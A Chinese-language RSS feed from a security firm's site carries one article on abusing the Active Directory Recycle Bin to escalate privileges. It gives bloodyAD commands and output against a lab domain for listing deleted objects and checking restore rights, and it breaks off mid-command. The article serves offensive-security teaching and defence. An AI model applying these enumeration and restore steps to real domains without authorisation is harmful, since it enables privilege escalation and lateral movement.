<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>文章 | 卡瓦特网络安全公司</title><link>https://cravaterouge.com/zh/articles/</link><atom:link href="https://cravaterouge.com/zh/articles/index.xml" rel="self" type="application/rss+xml"/><description>文章</description><generator>Hugo Blox Builder (https://hugoblox.com)</generator><language>zh-Hans</language><lastBuildDate>Wed, 25 Jun 2025 00:00:00 +0000</lastBuildDate><image><url>https://cravaterouge.com/media/sharing.png</url><title>文章</title><link>https://cravaterouge.com/zh/articles/</link></image><item><title>你查过回收站了吗？从Active Directory回收站挖掘权限提升</title><link>https://cravaterouge.com/zh/articles/ad-bin/</link><pubDate>Wed, 25 Jun 2025 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/zh/articles/ad-bin/</guid><description>&lt;p&gt;&lt;em&gt;&amp;ldquo;你查过回收站了吗？&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;这是我们许多人从小听到的一句话——通常是在我们找不到明明就在眼前的东西时。在网络安全领域，这句话比以往任何时候都更真实，尤其是在Active Directory环境中。&lt;/p&gt;
&lt;p&gt;Active Directory回收站通常被视为安全网——一个删除对象在永久删除前暂时存放的地方。但对攻击者来说，这里可能是机会的宝库。被删除的用户、组等对象可能仍然保留关键属性，可被用于权限提升、横向移动或持久化。&lt;/p&gt;
&lt;p&gt;本文将深入探讨AD回收站的工作原理，攻击者如何利用它获取更高权限，以及防御者如何检测和缓解这些风险。&lt;/p&gt;
&lt;h2 id="了解active-directory回收站"&gt;了解Active Directory回收站&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://learn.microsoft.com/zh-cn/windows-server/identity/ad-ds/get-started/adac/active-directory-recycle-bin?tabs=adac" target="_blank" rel="noopener"&gt;Active Directory回收站&lt;/a&gt;自Windows Server 2008 R2引入，旨在让对象恢复更简单、更安全。该功能需显式启用，且一旦启用无法撤销。当对象（如用户或组）被删除时，并不会立即清除——而是被标记为“已删除”，并移动到隐藏容器。这样会保留所有属性，如组成员、权限和SID历史，便于一键恢复。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-adts/b645c125-a7da-4097-84a1-2fa7cea07714#gt_d9c9e99f-74f1-483e-bcb1-310e75ff1344" target="_blank" rel="noopener"&gt;已删除对象&lt;/a&gt;的默认保留期为180天，由_Directory Service_对象（&lt;code&gt;CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=example,DC=com&lt;/code&gt;）的&lt;a href="https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-adts/1887de08-2a9e-4694-95e2-898cde411180" target="_blank" rel="noopener"&gt;tombstoneLifetime&lt;/a&gt;属性定义，除非被_msDS-DeletedObjectLifetime_覆盖。如果都未定义，Windows 2000–2008 Server为60天，2008 R2及以后仅2天。&lt;br&gt;
保留期过后，_已删除对象_变为回收状态，_isRecycled_属性设为&lt;code&gt;TRUE&lt;/code&gt;。此时对象不再包含全部属性数据，只能通过直接操作AD快照的工具恢复。此状态用于通知其他域控对象已被删除。&lt;/p&gt;
&lt;p&gt;
&lt;figure id="figure-微软对象生命周期图httpstechcommunitymicrosoftcomblogaskdsthe-ad-recycle-bin-understanding-implementing-best-practices-and-troubleshooting396944"&gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="对象生命周期图"
srcset="https://cravaterouge.com/articles/ad-bin/deleted_retention_hu_5bcfa8d5069023e2.webp 320w, https://cravaterouge.com/articles/ad-bin/deleted_retention_hu_a7f1d7e03b0891c1.webp 480w, https://cravaterouge.com/articles/ad-bin/deleted_retention_hu_6e6a186aa0c3cbca.webp 700w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/articles/ad-bin/deleted_retention_hu_5bcfa8d5069023e2.webp"
width="700"
height="280"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;figcaption&gt;
&lt;a href="https://techcommunity.microsoft.com/blog/askds/the-ad-recycle-bin-understanding-implementing-best-practices-and-troubleshooting/396944" target="_blank" rel="noopener"&gt;微软对象生命周期图&lt;/a&gt;
&lt;/figcaption&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;如果未启用回收站或服务器版本低于2008 R2，对象会被_tombstoned_而不是_deleted_。Tombstoned对象看起来类似于回收对象，但可恢复。然而，它们大部分属性会被剥离，仅保留_ObjectSID_、&lt;em&gt;nTSecurityDescriptor&lt;/em&gt;（ACL仍然有效），以及自Windows 2003起的&lt;a href="https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/active-directory/retore-deleted-accounts-and-groups-in-ad#how-to-manually-undelete-objects-in-a-deleted-objects-container" target="_blank" rel="noopener"&gt;&lt;em&gt;sIDHistory&lt;/em&gt;&lt;/a&gt;，但会丢失所有组成员关系。&lt;/p&gt;
&lt;p&gt;然而，这种便利带来了隐藏的安全盲点。许多组织认为已删除对象无害，但它们仍可被查询、恢复，甚至被滥用，如果未妥善管理。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;要点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;已删除对象保留所有属性（包括敏感属性）&lt;/li&gt;
&lt;li&gt;Tombstoned对象保留最重要的属性&lt;/li&gt;
&lt;li&gt;存储于&lt;code&gt;CN=Deleted Objects&lt;/code&gt;容器&lt;/li&gt;
&lt;li&gt;若未被回收或永久删除，可恢复全部权限&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="权限提升途径"&gt;权限提升途径&lt;/h2&gt;
&lt;p&gt;攻击者若获得AD读取权限，可枚举已删除对象，寻找权限提升机会。例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SID历史滥用：&lt;/strong&gt; 已删除/tombstoned对象可能保留SID历史，从而获得特权对象的权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;组成员关系：&lt;/strong&gt; 恢复已删除对象可重新获得对敏感资源的访问，因为其组成员关系会恢复。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ACL与委派：&lt;/strong&gt; 已删除/tombstoned对象可能仍被ACL引用或拥有Kerberos委派，允许间接访问或控制。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;敏感信息：&lt;/strong&gt; 已删除对象可能包含敏感信息，如&lt;code&gt;description&lt;/code&gt;、&lt;code&gt;info&lt;/code&gt;或自定义属性中的明文密码。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还有更多滥用可能（如GPO、OU等），这些途径常被传统审计忽略，使回收站成为隐蔽的攻击面。&lt;/p&gt;
&lt;h2 id="前提条件"&gt;前提条件&lt;/h2&gt;
&lt;p&gt;要列出已删除对象，主体需对_Deleted Objects_容器有&lt;code&gt;LIST_CHILD&lt;/code&gt;权限，并使用特殊LDAP控制OID &lt;code&gt;1.2.840.113556.1.4.2064&lt;/code&gt;（显示已删除、tombstoned和回收对象）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 使用bloodyAD列出已删除对象&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt; &lt;span class="n"&gt;-c&lt;/span&gt; &lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;840&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;113556&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2064&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-resolve-sd&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="n"&gt;ntsecuritydescriptor&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-base&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CN=Deleted Objects,DC=bloody,DC=corp&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-filter&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;(objectClass=container)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Deleted&lt;/span&gt; &lt;span class="n"&gt;Objects&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;corp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ALLOWED&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Trustee&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;john&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Right&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;LIST_CHILD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ObjectType&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Self&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;john&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt; &lt;span class="n"&gt;-c&lt;/span&gt; &lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;840&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;113556&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2064&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-filter&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;(isDeleted=TRUE)&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;test_pc&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;0ADEL&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;db0e6105&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;73a0&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;44e6&lt;/span&gt;&lt;span class="n"&gt;-b9ad-a546af714ae5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Deleted&lt;/span&gt; &lt;span class="n"&gt;Objects&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;corp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;test_pc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;DEL&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;db0e6105&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;73a0&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;44e6&lt;/span&gt;&lt;span class="n"&gt;-b9ad-a546af714ae5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;test_pc2&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;0ADEL&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;c535b0ea-c822&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4920&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;9452&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;292824d1f091&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Deleted&lt;/span&gt; &lt;span class="n"&gt;Objects&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;corp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;test_pc2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;DEL&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;c535b0ea-c822&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4920&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;9452&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;292824d1f091&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;test_pc3&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;0ADEL&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;c9e8a129-f77f&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4159&lt;/span&gt;&lt;span class="n"&gt;-b700&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;3c8fd06963fe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Deleted&lt;/span&gt; &lt;span class="n"&gt;Objects&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;corp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;test_pc3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;DEL&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;c9e8a129-f77f&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4159&lt;/span&gt;&lt;span class="n"&gt;-b700&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;3c8fd06963fe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;a href="https://learn.microsoft.com/en-us/windows/win32/ad/restoring-deleted-objects" target="_blank" rel="noopener"&gt;要恢复对象&lt;/a&gt;，主体需具备：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;域对象上的&lt;strong&gt;Restore Tombstoned&lt;/strong&gt;权限&lt;/li&gt;
&lt;li&gt;已删除对象上的&lt;strong&gt;Generic Write&lt;/strong&gt;权限&lt;/li&gt;
&lt;li&gt;用于恢复的OU上的&lt;strong&gt;Create Child&lt;/strong&gt;权限&lt;br&gt;
（提示：可用&lt;code&gt;--newParent&lt;/code&gt;参数指定有权限的OU）&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 检查恢复权限&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;john&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC=bloody,DC=corp&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="n"&gt;ntsecuritydescriptor&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-resolve-sd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;corp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ALLOWED_OBJECT&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Trustee&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;john&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Right&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CONTROL_ACCESS&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nTSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ACL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ObjectType&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Reanimate-Tombstones&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[..]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;john&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt; &lt;span class="n"&gt;-c&lt;/span&gt; &lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;840&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;113556&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2064&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-filter&lt;/span&gt; 